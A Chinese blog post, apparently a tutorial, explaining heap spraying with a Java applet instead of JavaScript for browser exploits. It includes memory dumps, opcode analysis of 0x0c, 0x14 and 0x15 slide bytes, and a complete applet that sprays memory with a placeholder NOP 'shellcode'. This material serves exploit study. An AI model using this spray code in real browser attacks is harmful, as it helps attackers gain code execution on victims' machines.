Advanced Heap Spray Technique -- Heap Spray in Java_未完(蜕变):
一、传统的Heap Spray 传统的Heap Spray是使用js分配内存。根据heap spray的思想,就是用同样的一个指令,去覆盖一片大内存地址,在每块分配到的内存最后,都付上我们的shellcode。 对这个指令的要求是,相当于NOPS的作用。且该指令指向的地址,正好落在我们覆盖的这片大存在地址中。 上面说的可能有些绕口,在实际exploit中,就是分配这样的一片内存区域,比如 0B2701B0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B2701C0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B2701D0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B2701E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B2701F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B270200 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B270210 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0B270220 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 这样,0x0c0c0c0c的地址的内容也是 0c0c0c0c 0C0C0C0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0C0C0C1C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0C0C0C2C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0C0C0C3C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0C0C0C4C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 0C0C0C5C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ 而0c这个指令正好是双字节指令,且对寄存器影响最小,可以起到nops的作用 0C0C0C0C 0C 0C OR AL,0C 0C0C0C0E 0C 0C OR AL,0C 0C0C0C10 0C 0C OR AL,0C 0C0C0C12 0C 0C OR AL,0C 0C0C0C14 0C 0C OR AL,0C 0C0C0C16 0C 0C OR AL,0C 所以如果我们把我们的eip指向了0x0c0c0c0c这个地址,就会一直在这片内存中执行下去,一直执行到我们的shellcode为止。 二、因为0x0c0c0c0c这个地址在内存中并不高,js分配内存就会影响到这一段,所以如果ie之前访问了很多网页,特别是一些比较大的网页,就会影响到这段地址,从而导致我们heap spray失败。 而在java中,我们则可以有效的避免这个问题,因为java分配内存的地址,本来就比js分配的地址要高。 Heap Spray是一种思想,和用什么语言实现无关,所以我们可以选择java,也同样可以选择其他语言,比如flash。 我们看如下的java代码 /* * */ import java.io.*; import java.applet.*; import java.awt.*; public class myJavaHeap extends Applet { byte[] shellcode = new byte[] { (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90 }; public void paint(Graphics g) { int heapBlockSize = 0x5000000; int heapSlidSize = 0x100000; byte[] buffer = new byte[heapBlockSize]; byte heapFilling = (byte)0x14; for (int i = 0; i < buffer.length; i ++) { buffer[i] = heapFilling; } for (int i = 1; i < 0x50; i ++) { for (int j = 0; j < shellcode.length; j ++) { buffer[i * heapSlidSize - shellcode.length - 0x1000 + j] = shellcode[j]; } } } } 编译后构造如下html: 以上的代码分配内存的地址,基本上在0x10800000 -- 0x16000000 左右 所以我们选用的指令只能是 0x11 -- 0x15之间选择。 经过检查,发现 0x14 和0x15都是非常好的指令,0x14和0x0c一样,都是双字节指令 14141414 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14141424 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14141434 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14141444 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14141454 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14141464 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14141474 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 反汇编后: 14141414 14 14 ADC AL,14 14141416 14 14 ADC AL,14 14141418 14 14 ADC AL,14 1414141A 14 14 ADC AL,14 1414141C 14 14 ADC AL,14 1414141E 14 14 ADC AL,14 14141420 14 14 ADC AL,14 14141422 14 14 ADC AL,14 14141424 14 14 ADC AL,14 可见选用0x14去实现heap spray是完全可行的,而且可以避免ie访问多网页的问题。 选用0x15的情况如下: 14141414 15 15151515 ADC EAX,15151515 14141419 15 15151515 ADC EAX,15151515 1414141E 15 15151515 ADC EAX,15151515 14141423 15 15151515 ADC EAX,15151515 14141428 15 15151515 ADC EAX,15151515 1414142D 15 15151515 ADC EAX,15151515 14141432 15 15151515 ADC EAX,15151515 14141437 15 15151515 ADC EAX,15151515 也是可以用的。 我的测试环境是 JRE 1.5.0_11 如果是不同的JRE版本,可能会导致分配内存的地址不同,比如之前的版本,可能会分配在0x21000000-0x27000000 所以需要选用0x21 - 0x26之间的地址。 经过测试,可以实际选用的指令是 0x24、0x25等。 三、优缺点分析 使用java进行heap spray的优点是很明显的:分配内存速度快,占用内存小(比js分配的小多了),而且分配的内存地址是在内存中相对比较高的地址,避免了ie访问多网页导致溢出失败的问题。 但同时缺点也同样明显:受到jre普及度的限制,不同jre版本可能分配的地址不同,从而影响通用性等。 仅供学习参考
Acronis Cyber Protect/Backup Remote Code Execution
-
The Acronis Cyber Protect appliance, in its default configuration, allows
the anonymous registration of new protect/backup agents on new endpoints.
This AP...
1 年前
没有评论:
发表评论